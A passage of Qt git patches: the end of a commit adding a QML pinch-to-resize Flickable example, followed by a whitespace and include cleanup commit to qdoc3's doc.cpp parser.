b/examples/declarative/touchinteraction/pincharea/flickresize.qml new file mode 100644 index 0000000..8034e29 --- /dev/null +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -0,0 +1,50 @@ +import QtQuick 1.1 + +Rectangle { + width: 640 + height: 360 + color: "gray" + + Flickable { + id: flick + anchors.fill: parent + contentWidth: 500 + contentHeight: 500 + + PinchArea { + width: Math.max(flick.contentWidth, flick.width) + height: Math.max(flick.contentHeight, flick.height) + onPinchChanged: { + // adjust content pos due to drag + flick.contentX += pinch.lastCenter.x - pinch.center.x + flick.contentY += pinch.lastCenter.y - pinch.center.y + + // resize content + var scale = 1.0 + pinch.scale - pinch.lastScale + flick.resizeContent(flick.contentWidth * scale, flick.contentHeight * scale, pinch.center) + } + + onPinchFinished: { + // Move its content within bounds. + flick.returnToBounds() + } + + Rectangle { + width: flick.contentWidth + height: flick.contentHeight + color: "white" + Image { + anchors.fill: parent + source: "qt-logo.jpg" + MouseArea { + anchors.fill: parent + onDoubleClicked: { + flick.contentWidth = 500 + flick.contentHeight = 500 + } + } + } + } + } + } +} diff --git a/examples/declarative/touchinteraction/pincharea/qt-logo.jpg b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg new file mode 100644 index 0000000..4014b46 Binary files /dev/null and b/examples/declarative/touchinteraction/pincharea/qt-logo.jpg differ -- cgit v0.12 From 755f2907ee4bc2b632237409c1d1d77b343aaa2a Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 29 Nov 2010 19:57:56 +0100 Subject: Removed unnecessary include, fixed whitespace. --- tools/qdoc3/doc.cpp | 937 ++++++++++++++++++++++++++-------------------------- 1 file changed, 468 insertions(+), 469 deletions(-) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index be16c59..4152207 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -48,7 +48,6 @@ #include "text.h" #include "tokenizer.h" #include -#include #include #include #include @@ -225,13 +224,13 @@ class DocPrivateExtra QStringMap metaMap; DocPrivateExtra() - : granularity(Doc::Part) { } + : granularity(Doc::Part) { } }; struct Shared // ### get rid of { Shared() - : count(1) { } + : count(1) { } void ref() { ++count; } bool deref() { return (--count == 0); } @@ -301,7 +300,7 @@ void DocPrivate::addAlso(const Text& also) void DocPrivate::constructExtra() { if (extra == 0) - extra = new DocPrivateExtra; + extra = new DocPrivateExtra; } bool DocPrivate::isEnumDocSimplifiable() const @@ -350,7 +349,7 @@ class DocParser private: Location& location(); QString detailsUnknownCommand(const QSet& metaCommandSet, - const QString& str); + const QString& str); void checkExpiry(const QString& date); void insertBaseName(const QString &baseName); void insertTarget(const QString& target, bool keyword); @@ -367,8 +366,8 @@ class DocParser void appendToCode(const QString &code); void startNewPara(); void enterPara(Atom::Type leftType = Atom::ParaLeft, - Atom::Type rightType = Atom::ParaRight, - const QString& string = ""); + Atom::Type rightType = Atom::ParaRight, + const QString& string = ""); void leavePara(); void leaveValue(); void leaveValueList(); @@ -547,7 +546,7 @@ void DocParser::parse(const QString& source, leavePara(); append(Atom::Code, getCode(CMD_CODE, marker)); break; -#ifdef QDOC_QML +#ifdef QDOC_QML case CMD_QML: leavePara(); append(Atom::Qml, getCode(CMD_QML, marker)); @@ -555,7 +554,7 @@ void DocParser::parse(const QString& source, case CMD_QMLTEXT: append(Atom::QmlText); break; -#endif +#endif case CMD_CODELINE: { if (!quoting) { @@ -1465,35 +1464,35 @@ void DocParser::checkExpiry(const QString& date) QRegExp ymd("(\\d{4})(?:-(\\d{2})(?:-(\\d{2})))"); if (ymd.exactMatch(date)) { - int y = ymd.cap(1).toInt(); - int m = ymd.cap(2).toInt(); - int d = ymd.cap(3).toInt(); - - if (m == 0) - m = 1; - if (d == 0) - d = 1; - QDate expiryDate(y, m, d); - if (expiryDate.isValid()) { - int days = expiryDate.daysTo(QDate::currentDate()); - if (days == 0) { - location().warning(tr("Documentation expires today")); - } + int y = ymd.cap(1).toInt(); + int m = ymd.cap(2).toInt(); + int d = ymd.cap(3).toInt(); + + if (m == 0) + m = 1; + if (d == 0) + d = 1; + QDate expiryDate(y, m, d); + if (expiryDate.isValid()) { + int days = expiryDate.daysTo(QDate::currentDate()); + if (days == 0) { + location().warning(tr("Documentation expires today")); + } else if (days == 1) { - location().warning(tr("Documentation expired yesterday")); - } + location().warning(tr("Documentation expired yesterday")); + } else if (days >= 2) { - location().warning(tr("Documentation expired %1 days ago") - .arg(days)); - } - } + location().warning(tr("Documentation expired %1 days ago") + .arg(days)); + } + } else { - location().warning(tr("Date '%1' invalid").arg(date)); - } + location().warning(tr("Date '%1' invalid").arg(date)); + } } else { - location().warning(tr("Date '%1' not in YYYY-MM-DD format") - .arg(date)); + location().warning(tr("Date '%1' not in YYYY-MM-DD format") + .arg(date)); } } @@ -1501,34 +1500,34 @@ void DocParser::insertBaseName(const QString &baseName) { priv->constructExtra(); if (currentSectioningUnit == priv->extra->sectioningUnit) { - priv->extra->baseName = baseName; + priv->extra->baseName = baseName; } else { - Atom *atom = priv->text.firstAtom(); - Atom *sectionLeft = 0; + Atom *atom = priv->text.firstAtom(); + Atom *sectionLeft = 0; - int delta = currentSectioningUnit - priv->extra->sectioningUnit; + int delta = currentSectioningUnit - priv->extra->sectioningUnit; - while (atom != 0) { - if (atom->type() == Atom::SectionLeft && - atom->string().toInt() == delta) - sectionLeft = atom; - atom = atom->next(); - } - if (sectionLeft != 0) - (void) new Atom(sectionLeft, Atom::BaseName, baseName); + while (atom != 0) { + if (atom->type() == Atom::SectionLeft && + atom->string().toInt() == delta) + sectionLeft = atom; + atom = atom->next(); + } + if (sectionLeft != 0) + (void) new Atom(sectionLeft, Atom::BaseName, baseName); } } void DocParser::insertTarget(const QString &target, bool keyword) { if (targetMap.contains(target)) { - location().warning(tr("Duplicate target name '%1'").arg(target)); - targetMap[target].warning(tr("(The previous occurrence is here)")); + location().warning(tr("Duplicate target name '%1'").arg(target)); + targetMap[target].warning(tr("(The previous occurrence is here)")); } else { - targetMap.insert(target, location()); - append(Atom::Target, target); + targetMap.insert(target, location()); + append(Atom::Target, target); priv->constructExtra(); if (keyword) priv->extra->keywords.append(priv->text.lastAtom()); @@ -1540,8 +1539,8 @@ void DocParser::insertTarget(const QString &target, bool keyword) void DocParser::include(const QString& fileName) { if (location().depth() > 16) - location().fatal(tr("Too many nested '\\%1's") - .arg(cmdName(CMD_INCLUDE))); + location().fatal(tr("Too many nested '\\%1's") + .arg(cmdName(CMD_INCLUDE))); QString userFriendlyFilePath; // ### use current directory? @@ -1551,25 +1550,25 @@ void DocParser::include(const QString& fileName) fileName, userFriendlyFilePath); if (filePath.isEmpty()) { - location().warning(tr("Cannot find leaf file '%1'").arg(fileName)); + location().warning(tr("Cannot find leaf file '%1'").arg(fileName)); } else { - QFile inFile(filePath); - if (!inFile.open(QFile::ReadOnly)) { - location().warning(tr("Cannot open leaf file '%1'") - .arg(userFriendlyFilePath)); - } + QFile inFile(filePath); + if (!inFile.open(QFile::ReadOnly)) { + location().warning(tr("Cannot open leaf file '%1'") + .arg(userFriendlyFilePath)); + } else { - location().push(userFriendlyFilePath); + location().push(userFriendlyFilePath); - QTextStream inStream(&inFile); - QString includedStuff = inStream.readAll(); - inFile.close(); + QTextStream inStream(&inFile); + QString includedStuff = inStream.readAll(); + inFile.close(); - in.insert(pos, includedStuff); - len = in.length(); - openedInputs.push(pos + includedStuff.length()); - } + in.insert(pos, includedStuff); + len = in.length(); + openedInputs.push(pos + includedStuff.length()); + } } } @@ -1579,29 +1578,29 @@ void DocParser::startFormat(const QString& format, int cmd) QMap::ConstIterator f = pendingFormats.begin(); while (f != pendingFormats.end()) { - if (*f == format) { - location().warning(tr("Cannot nest '\\%1' commands") - .arg(cmdName(cmd))); - return; - } - ++f; + if (*f == format) { + location().warning(tr("Cannot nest '\\%1' commands") + .arg(cmdName(cmd))); + return; + } + ++f; } append(Atom::FormattingLeft, format); if (isLeftBraceAhead()) { - skipSpacesOrOneEndl(); - pendingFormats.insert(braceDepth, format); - ++braceDepth; - ++pos; + skipSpacesOrOneEndl(); + pendingFormats.insert(braceDepth, format); + ++braceDepth; + ++pos; } else { - append(Atom::String, getArgument()); - append(Atom::FormattingRight, format); - if (format == ATOM_FORMATTING_INDEX && indexStartedPara) { - skipAllSpaces(); - indexStartedPara = false; - } + append(Atom::String, getArgument()); + append(Atom::FormattingRight, format); + if (format == ATOM_FORMATTING_INDEX && indexStartedPara) { + skipAllSpaces(); + indexStartedPara = false; + } } } @@ -1612,37 +1611,37 @@ bool DocParser::openCommand(int cmd) if (cmd != CMD_LINK) { if (outer == CMD_LIST) { - ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST); + ok = (cmd == CMD_FOOTNOTE || cmd == CMD_LIST); } else if (outer == CMD_ABSTRACT) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_QUOTATION || cmd == CMD_TABLE); } else if (outer == CMD_SIDEBAR) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_QUOTATION || cmd == CMD_SIDEBAR); } else if (outer == CMD_QUOTATION) { - ok = (cmd == CMD_LIST); + ok = (cmd == CMD_LIST); } else if (outer == CMD_TABLE) { - ok = (cmd == CMD_LIST || + ok = (cmd == CMD_LIST || cmd == CMD_FOOTNOTE || cmd == CMD_QUOTATION); } else if (outer == CMD_FOOTNOTE || outer == CMD_LINK) { - ok = false; + ok = false; } } if (ok) { - openedCommands.push(cmd); + openedCommands.push(cmd); } else { - location().warning(tr("Cannot use '\\%1' within '\\%2'") - .arg(cmdName(cmd)).arg(cmdName(outer))); + location().warning(tr("Cannot use '\\%1' within '\\%2'") + .arg(cmdName(cmd)).arg(cmdName(outer))); } return ok; } @@ -1650,33 +1649,33 @@ bool DocParser::openCommand(int cmd) bool DocParser::closeCommand(int endCmd) { if (endCmdFor(openedCommands.top()) == endCmd && openedCommands.size() > 1) { - openedCommands.pop(); - return true; + openedCommands.pop(); + return true; } else { - bool contains = false; - QStack opened2 = openedCommands; - while (opened2.size() > 1) { - if (endCmdFor(opened2.top()) == endCmd) { - contains = true; - break; - } - opened2.pop(); - } - - if (contains) { - while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) { - location().warning(tr("Missing '\\%1' before '\\%2'") - .arg(endCmdName(openedCommands.top())) - .arg(cmdName(endCmd))); - openedCommands.pop(); - } - } + bool contains = false; + QStack opened2 = openedCommands; + while (opened2.size() > 1) { + if (endCmdFor(opened2.top()) == endCmd) { + contains = true; + break; + } + opened2.pop(); + } + + if (contains) { + while (endCmdFor(openedCommands.top()) != endCmd && openedCommands.size() > 1) { + location().warning(tr("Missing '\\%1' before '\\%2'") + .arg(endCmdName(openedCommands.top())) + .arg(cmdName(endCmd))); + openedCommands.pop(); + } + } else { - location().warning(tr("Unexpected '\\%1'") - .arg(cmdName(endCmd))); - } - return false; + location().warning(tr("Unexpected '\\%1'") + .arg(cmdName(endCmd))); + } + return false; } } @@ -1685,32 +1684,32 @@ void DocParser::startSection(Doc::SectioningUnit unit, int cmd) leavePara(); if (currentSectioningUnit == Doc::Book) { - currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); - priv->constructExtra(); - priv->extra->sectioningUnit = currentSectioningUnit; + currentSectioningUnit = (Doc::SectioningUnit) (unit - 1); + priv->constructExtra(); + priv->extra->sectioningUnit = currentSectioningUnit; } if (unit <= priv->extra->sectioningUnit) { - location().warning(tr("Unexpected '\\%1' in this documentation") - .arg(cmdName(cmd))); + location().warning(tr("Unexpected '\\%1' in this documentation") + .arg(cmdName(cmd))); } else if (unit - currentSectioningUnit > 1) { - location().warning(tr("Unexpected '\\%1' at this point") - .arg(cmdName(cmd))); + location().warning(tr("Unexpected '\\%1' at this point") + .arg(cmdName(cmd))); } else { - if (currentSectioningUnit >= unit) - endSection(unit, cmd); + if (currentSectioningUnit >= unit) + endSection(unit, cmd); - int delta = unit - priv->extra->sectioningUnit; - append(Atom::SectionLeft, QString::number(delta)); + int delta = unit - priv->extra->sectioningUnit; + append(Atom::SectionLeft, QString::number(delta)); priv->constructExtra(); priv->extra->tableOfContents.append(priv->text.lastAtom()); priv->extra->tableOfContentsLevels.append(unit); - enterPara(Atom::SectionHeadingLeft, + enterPara(Atom::SectionHeadingLeft, Atom::SectionHeadingRight, QString::number(delta)); - currentSectioningUnit = unit; + currentSectioningUnit = unit; } } @@ -1719,20 +1718,20 @@ void DocParser::endSection(int unit, int endCmd) leavePara(); if (unit < priv->extra->sectioningUnit) { - location().warning(tr("Unexpected '\\%1' in this documentation") - .arg(cmdName(endCmd))); + location().warning(tr("Unexpected '\\%1' in this documentation") + .arg(cmdName(endCmd))); } else if (unit > currentSectioningUnit) { - location().warning(tr("Unexpected '\\%1' at this point") - .arg(cmdName(endCmd))); + location().warning(tr("Unexpected '\\%1' at this point") + .arg(cmdName(endCmd))); } else { - while (currentSectioningUnit >= unit) { - int delta = currentSectioningUnit - priv->extra->sectioningUnit; - append(Atom::SectionRight, QString::number(delta)); - currentSectioningUnit = - (Doc::SectioningUnit) (currentSectioningUnit - 1); - } + while (currentSectioningUnit >= unit) { + int delta = currentSectioningUnit - priv->extra->sectioningUnit; + append(Atom::SectionRight, QString::number(delta)); + currentSectioningUnit = + (Doc::SectioningUnit) (currentSectioningUnit - 1); + } } } @@ -1821,10 +1820,10 @@ void DocParser::appendChar(QChar ch) void DocParser::appendWord(const QString &word) { if (priv->text.lastAtom()->type() != Atom::String) { - append(Atom::String, word); + append(Atom::String, word); } else - priv->text.lastAtom()->appendString(word); + priv->text.lastAtom()->appendString(word); } void DocParser::appendToCode(const QString& markedCode) @@ -1832,10 +1831,10 @@ void DocParser::appendToCode(const QString& markedCode) Atom::Type lastType = priv->text.lastAtom()->type(); #ifdef QDOC_QML if (lastType != Atom::Qml) - append(Atom::Qml); + append(Atom::Qml); #else if (lastType != Atom::Code) - append(Atom::Code); + append(Atom::Code); #endif priv->text.lastAtom()->appendString(markedCode); } @@ -1853,44 +1852,44 @@ void DocParser::enterPara(Atom::Type leftType, if (paraState == OutsidePara) { if (priv->text.lastAtom()->type() != Atom::ListItemLeft) leaveValueList(); - append(leftType, string); - indexStartedPara = false; - pendingParaLeftType = leftType; - pendingParaRightType = rightType; - pendingParaString = string; - if ( - leftType == Atom::SectionHeadingLeft) { - paraState = InsideSingleLinePara; - } + append(leftType, string); + indexStartedPara = false; + pendingParaLeftType = leftType; + pendingParaRightType = rightType; + pendingParaString = string; + if ( + leftType == Atom::SectionHeadingLeft) { + paraState = InsideSingleLinePara; + } else { - paraState = InsideMultiLinePara; - } - skipSpacesOrOneEndl(); + paraState = InsideMultiLinePara; + } + skipSpacesOrOneEndl(); } } void DocParser::leavePara() { if (paraState != OutsidePara) { - if (!pendingFormats.isEmpty()) { - location().warning(tr("Missing '}'")); - pendingFormats.clear(); - } - - if (priv->text.lastAtom()->type() == pendingParaLeftType) { - priv->text.stripLastAtom(); - } + if (!pendingFormats.isEmpty()) { + location().warning(tr("Missing '}'")); + pendingFormats.clear(); + } + + if (priv->text.lastAtom()->type() == pendingParaLeftType) { + priv->text.stripLastAtom(); + } else { - if (priv->text.lastAtom()->type() == Atom::String && - priv->text.lastAtom()->string().endsWith(" ")) { - priv->text.lastAtom()->chopString(); - } - append(pendingParaRightType, pendingParaString); - } - paraState = OutsidePara; - indexStartedPara = false; - pendingParaRightType = Atom::Nop; - pendingParaString = ""; + if (priv->text.lastAtom()->type() == Atom::String && + priv->text.lastAtom()->string().endsWith(" ")) { + priv->text.lastAtom()->chopString(); + } + append(pendingParaRightType, pendingParaString); + } + paraState = OutsidePara; + indexStartedPara = false; + pendingParaRightType = Atom::Nop; + pendingParaString = ""; } } @@ -1898,13 +1897,13 @@ void DocParser::leaveValue() { leavePara(); if (openedLists.isEmpty()) { - openedLists.push(OpenedList(OpenedList::Value)); - append(Atom::ListLeft, ATOM_LIST_VALUE); + openedLists.push(OpenedList(OpenedList::Value)); + append(Atom::ListLeft, ATOM_LIST_VALUE); } else { if (priv->text.lastAtom()->type() == Atom::Nop) priv->text.stripLastAtom(); - append(Atom::ListItemRight, ATOM_LIST_VALUE); + append(Atom::ListItemRight, ATOM_LIST_VALUE); } } @@ -1915,9 +1914,9 @@ void DocParser::leaveValueList() (openedLists.top().style() == OpenedList::Value)) { if (priv->text.lastAtom()->type() == Atom::Nop) priv->text.stripLastAtom(); - append(Atom::ListItemRight, ATOM_LIST_VALUE); - append(Atom::ListRight, ATOM_LIST_VALUE); - openedLists.pop(); + append(Atom::ListItemRight, ATOM_LIST_VALUE); + append(Atom::ListRight, ATOM_LIST_VALUE); + openedLists.pop(); } } @@ -1948,43 +1947,43 @@ void DocParser::expandMacro(const QString &name, int numParams) { if (numParams == 0) { - append(Atom::RawString, def); + append(Atom::RawString, def); } else { - QStringList args; - QString rawString; + QStringList args; + QString rawString; - for (int i = 0; i < numParams; i++) { - if (numParams == 1 || isLeftBraceAhead()) { - args << getArgument(true); - } + for (int i = 0; i < numParams; i++) { + if (numParams == 1 || isLeftBraceAhead()) { + args << getArgument(true); + } else { - location().warning(tr("Macro '\\%1' invoked with too few" - " arguments (expected %2, got %3)") - .arg(name).arg(numParams).arg(i)); - break; - } - } - - int j = 0; - while (j < def.size()) { - int paramNo; - if ((def[j] == '\\') && (j < def.size() - 1) && + location().warning(tr("Macro '\\%1' invoked with too few" + " arguments (expected %2, got %3)") + .arg(name).arg(numParams).arg(i)); + break; + } + } + + int j = 0; + while (j < def.size()) { + int paramNo; + if ((def[j] == '\\') && (j < def.size() - 1) && ((paramNo = def[j + 1].digitValue()) >= 1) && (paramNo <= numParams)) { - if (!rawString.isEmpty()) { - append(Atom::RawString, rawString); - rawString = ""; - } - append(Atom::String, args[paramNo - 1]); - j += 2; - } + if (!rawString.isEmpty()) { + append(Atom::RawString, rawString); + rawString = ""; + } + append(Atom::String, args[paramNo - 1]); + j += 2; + } else { - rawString += def[j++]; - } - } - if (!rawString.isEmpty()) - append(Atom::RawString, rawString); + rawString += def[j++]; + } + } + if (!rawString.isEmpty()) + append(Atom::RawString, rawString); } } @@ -1993,29 +1992,29 @@ Doc::SectioningUnit DocParser::getSectioningUnit() QString name = getOptionalArgument(); if (name == "part") { - return Doc::Part; + return Doc::Part; } else if (name == "chapter") { - return Doc::Chapter; + return Doc::Chapter; } else if (name == "section1") { - return Doc::Section1; + return Doc::Section1; } else if (name == "section2") { - return Doc::Section2; + return Doc::Section2; } else if (name == "section3") { - return Doc::Section3; + return Doc::Section3; } else if (name == "section4") { - return Doc::Section4; + return Doc::Section4; } else if (name.isEmpty()) { - return Doc::Section4; + return Doc::Section4; } else { - location().warning(tr("Invalid sectioning unit '%1'").arg(name)); - return Doc::Book; + location().warning(tr("Invalid sectioning unit '%1'").arg(name)); + return Doc::Book; } } @@ -2032,115 +2031,115 @@ QString DocParser::getArgument(bool verbatim) Typically, an argument ends at the next white-space. However, braces can be used to group words: - {a few words} + {a few words} Also, opening and closing parentheses have to match. Thus, - printf("%d\n", x) + printf("%d\n", x) is an argument too, although it contains spaces. Finally, trailing punctuation is not included in an argument, nor is 's. */ if (pos < (int) in.length() && in[pos] == '{') { - pos++; - while (pos < (int) in.length() && delimDepth >= 0) { - switch (in[pos].unicode()) { - case '{': - delimDepth++; - arg += "{"; - pos++; - break; - case '}': - delimDepth--; - if (delimDepth >= 0) - arg += "}"; - pos++; - break; - case '\\': - if (verbatim) { - arg += in[pos]; - pos++; - } + pos++; + while (pos < (int) in.length() && delimDepth >= 0) { + switch (in[pos].unicode()) { + case '{': + delimDepth++; + arg += "{"; + pos++; + break; + case '}': + delimDepth--; + if (delimDepth >= 0) + arg += "}"; + pos++; + break; + case '\\': + if (verbatim) { + arg += in[pos]; + pos++; + } else { - pos++; - if (pos < (int) in.length()) { - if (in[pos].isLetterOrNumber()) - break; - arg += in[pos]; - if (in[pos].isSpace()) { - skipAllSpaces(); - } + pos++; + if (pos < (int) in.length()) { + if (in[pos].isLetterOrNumber()) + break; + arg += in[pos]; + if (in[pos].isSpace()) { + skipAllSpaces(); + } else { - pos++; - } - } - } - break; - default: - arg += in[pos]; - pos++; - } - } - if (delimDepth > 0) - location().warning(tr("Missing '}'")); + pos++; + } + } + } + break; + default: + arg += in[pos]; + pos++; + } + } + if (delimDepth > 0) + location().warning(tr("Missing '}'")); } else { - while (pos < in.length() && + while (pos < in.length() && ((delimDepth > 0) || ((delimDepth == 0) && !in[pos].isSpace()))) { - switch (in[pos].unicode()) { - case '(': - case '[': - case '{': - delimDepth++; - arg += in[pos]; - pos++; - break; - case ')': - case ']': - case '}': - delimDepth--; - if (pos == startPos || delimDepth >= 0) { - arg += in[pos]; - pos++; - } - break; - case '\\': - if (verbatim) { - arg += in[pos]; - pos++; - } + switch (in[pos].unicode()) { + case '(': + case '[': + case '{': + delimDepth++; + arg += in[pos]; + pos++; + break; + case ')': + case ']': + case '}': + delimDepth--; + if (pos == startPos || delimDepth >= 0) { + arg += in[pos]; + pos++; + } + break; + case '\\': + if (verbatim) { + arg += in[pos]; + pos++; + } else { - pos++; - if (pos < (int) in.length()) { - if (in[pos].isLetterOrNumber()) - break; - arg += in[pos]; - if (in[pos].isSpace()) { - skipAllSpaces(); - } + pos++; + if (pos < (int) in.length()) { + if (in[pos].isLetterOrNumber()) + break; + arg += in[pos]; + if (in[pos].isSpace()) { + skipAllSpaces(); + } else { - pos++; - } - } - } - break; - default: - arg += in[pos]; - pos++; - } - } - if ((arg.length() > 1) && + pos++; + } + } + } + break; + default: + arg += in[pos]; + pos++; + } + } + if ((arg.length() > 1) && (QString(".,:;!?").indexOf(in[pos - 1]) != -1) && !arg.endsWith("...")) { - arg.truncate(arg.length() - 1); - pos--; - } - if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") { - arg.truncate(arg.length() - 2); - pos -= 2; - } + arg.truncate(arg.length() - 1); + pos--; + } + if (arg.length() > 2 && in.mid(pos - 2, 2) == "'s") { + arg.truncate(arg.length() - 2); + pos -= 2; + } } return arg.simplified(); } @@ -2149,11 +2148,11 @@ QString DocParser::getOptionalArgument() { skipSpacesOrOneEndl(); if (pos + 1 < (int) in.length() && in[pos] == '\\' && - in[pos + 1].isLetterOrNumber()) { - return ""; + in[pos + 1].isLetterOrNumber()) { + return ""; } else { - return getArgument(); + return getArgument(); } } @@ -2216,7 +2215,7 @@ QString DocParser::getMetaCommandArgument(const QString &cmdStr) else if (in.at(pos) == ')') --parenDepth; - ++pos; + ++pos; } if (pos == in.size() && parenDepth > 0) { pos = begin; @@ -2236,12 +2235,12 @@ QString DocParser::getUntilEnd(int cmd) int end = rx.indexIn(in, pos); if (end == -1) { - location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd))); - pos = in.length(); + location().warning(tr("Missing '\\%1'").arg(cmdName(endCmd))); + pos = in.length(); } else { - t = in.mid(pos, end - pos); - pos = end + rx.matchedLength(); + t = in.mid(pos, end - pos); + pos = end + rx.matchedLength(); } return t; } @@ -2271,9 +2270,9 @@ bool DocParser::isBlankLine() int i = pos; while (i < len && in[i].isSpace()) { - if (in[i] == '\n') - return true; - i++; + if (in[i] == '\n') + return true; + i++; } return false; } @@ -2284,10 +2283,10 @@ bool DocParser::isLeftBraceAhead() int i = pos; while (i < len && in[i].isSpace() && numEndl < 2) { - // ### bug with '\\' - if (in[i] == '\n') - numEndl++; - i++; + // ### bug with '\\' + if (in[i] == '\n') + numEndl++; + i++; } return numEndl < 2 && i < len && in[i] == '{'; } @@ -2297,31 +2296,31 @@ void DocParser::skipSpacesOnLine() while ((pos < in.length()) && in[pos].isSpace() && (in[pos].unicode() != '\n')) - ++pos; + ++pos; } void DocParser::skipSpacesOrOneEndl() { int firstEndl = -1; while (pos < (int) in.length() && in[pos].isSpace()) { - QChar ch = in[pos]; - if (ch == '\n') { - if (firstEndl == -1) { - firstEndl = pos; - } + QChar ch = in[pos]; + if (ch == '\n') { + if (firstEndl == -1) { + firstEndl = pos; + } else { - pos = firstEndl; - break; - } - } - pos++; + pos = firstEndl; + break; + } + } + pos++; } } void DocParser::skipAllSpaces() { while (pos < len && in[pos].isSpace()) - pos++; + pos++; } void DocParser::skipToNextPreprocessorCommand() @@ -2332,62 +2331,62 @@ void DocParser::skipToNextPreprocessorCommand() int end = rx.indexIn(in, pos + 1); // ### + 1 necessary? if (end == -1) - pos = in.length(); + pos = in.length(); else - pos = end; + pos = end; } int DocParser::endCmdFor(int cmd) { switch (cmd) { case CMD_ABSTRACT: - return CMD_ENDABSTRACT; + return CMD_ENDABSTRACT; case CMD_BADCODE: - return CMD_ENDCODE; + return CMD_ENDCODE; case CMD_CHAPTER: - return CMD_ENDCHAPTER; + return CMD_ENDCHAPTER; case CMD_CODE: - return CMD_ENDCODE; + return CMD_ENDCODE; #ifdef QDOC_QML case CMD_QML: - return CMD_ENDQML; + return CMD_ENDQML; case CMD_QMLTEXT: - return CMD_ENDQMLTEXT; + return CMD_ENDQMLTEXT; #endif case CMD_FOOTNOTE: - return CMD_ENDFOOTNOTE; + return CMD_ENDFOOTNOTE; case CMD_LEGALESE: return CMD_ENDLEGALESE; case CMD_LINK: return CMD_ENDLINK; case CMD_LIST: - return CMD_ENDLIST; + return CMD_ENDLIST; case CMD_NEWCODE: return CMD_ENDCODE; case CMD_OLDCODE: return CMD_NEWCODE; case CMD_OMIT: - return CMD_ENDOMIT; + return CMD_ENDOMIT; case CMD_PART: - return CMD_ENDPART; + return CMD_ENDPART; case CMD_QUOTATION: - return CMD_ENDQUOTATION; + return CMD_ENDQUOTATION; case CMD_RAW: return CMD_ENDRAW; case CMD_SECTION1: - return CMD_ENDSECTION1; + return CMD_ENDSECTION1; case CMD_SECTION2: - return CMD_ENDSECTION2; + return CMD_ENDSECTION2; case CMD_SECTION3: - return CMD_ENDSECTION3; + return CMD_ENDSECTION3; case CMD_SECTION4: - return CMD_ENDSECTION4; + return CMD_ENDSECTION4; case CMD_SIDEBAR: - return CMD_ENDSIDEBAR; + return CMD_ENDSIDEBAR; case CMD_TABLE: - return CMD_ENDTABLE; + return CMD_ENDTABLE; default: - return cmd; + return cmd; } } @@ -2441,14 +2440,14 @@ int DocParser::indentLevel(const QString& str) int column = 0; for (int i = 0; i < (int) str.length(); i++) { - if (str[i] == '\n') { - column = 0; - } + if (str[i] == '\n') { + column = 0; + } else { - if (str[i] != ' ' && column < minIndent) - minIndent = column; - column++; - } + if (str[i] != ' ' && column < minIndent) + minIndent = column; + column++; + } } return minIndent; } @@ -2456,21 +2455,21 @@ int DocParser::indentLevel(const QString& str) QString DocParser::unindent(int level, const QString& str) { if (level == 0) - return str; + return str; QString t; int column = 0; for (int i = 0; i < (int) str.length(); i++) { if (str[i] == QLatin1Char('\n')) { - t += '\n'; - column = 0; - } + t += '\n'; + column = 0; + } else { - if (column >= level) - t += str[i]; - column++; - } + if (column >= level) + t += str[i]; + column++; + } } return t; } @@ -2508,15 +2507,15 @@ Doc::Doc(const Doc& doc) Doc::~Doc() { if (priv && priv->deref()) - delete priv; + delete priv; } Doc &Doc::operator=(const Doc& doc) { if (doc.priv) - doc.priv->ref(); + doc.priv->ref(); if (priv && priv->deref()) - delete priv; + delete priv; priv = doc.priv; return *this; } @@ -2683,18 +2682,18 @@ Text Doc::trimmedBriefText(const QString &className) const whats = w.join(" "); if (whats.endsWith(".")) - whats.truncate(whats.length() - 1); + whats.truncate(whats.length() - 1); if (whats.isEmpty()) { - location().warning( + location().warning( tr("Nonstandard wording in '\\%1' text for '%2' (expected more text)") .arg(COMMAND_BRIEF).arg(className)); - standardWording = false; + standardWording = false; } else - whats[0] = whats[0].toUpper(); + whats[0] = whats[0].toUpper(); - // ### move this once \brief is abolished for properties + // ### move this once \brief is abolished for properties if (standardWording) resultText << whats; } @@ -2704,29 +2703,29 @@ Text Doc::trimmedBriefText(const QString &className) const Text Doc::legaleseText() const { if (priv == 0 || !priv->hasLegalese) - return Text(); + return Text(); else - return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight); + return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight); } const QString& Doc::baseName() const { static QString null; if (priv == 0 || priv->extra == 0) { - return null; + return null; } else { - return priv->extra->baseName; + return priv->extra->baseName; } } Doc::SectioningUnit Doc::granularity() const { if (priv == 0 || priv->extra == 0) { - return DocPrivateExtra().granularity; + return DocPrivateExtra().granularity; } else { - return priv->extra->granularity; + return priv->extra->granularity; } } @@ -2822,80 +2821,80 @@ void Doc::initialize(const Config& config) QSet commands = config.subVars(CONFIG_ALIAS); QSet::ConstIterator c = commands.begin(); while (c != commands.end()) { - QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c); - if (reverseAliasMap.contains(alias)) { - config.lastLocation().warning(tr("Command name '\\%1' cannot stand" - " for both '\\%2' and '\\%3'") - .arg(alias) - .arg(reverseAliasMap[alias]) - .arg(*c)); - } + QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c); + if (reverseAliasMap.contains(alias)) { + config.lastLocation().warning(tr("Command name '\\%1' cannot stand" + " for both '\\%2' and '\\%3'") + .arg(alias) + .arg(reverseAliasMap[alias]) + .arg(*c)); + } else { - reverseAliasMap.insert(alias, *c); - } - aliasMap()->insert(*c, alias); - ++c; + reverseAliasMap.insert(alias, *c); + } + aliasMap()->insert(*c, alias); + ++c; } int i = 0; while (cmds[i].english) { - cmds[i].alias = new QString(alias(cmds[i].english)); - cmdHash()->insert(*cmds[i].alias, cmds[i].no); + cmds[i].alias = new QString(alias(cmds[i].english)); + cmdHash()->insert(*cmds[i].alias, cmds[i].no); - if (cmds[i].no != i) - Location::internalError(tr("command %1 missing").arg(i)); - i++; + if (cmds[i].no != i) + 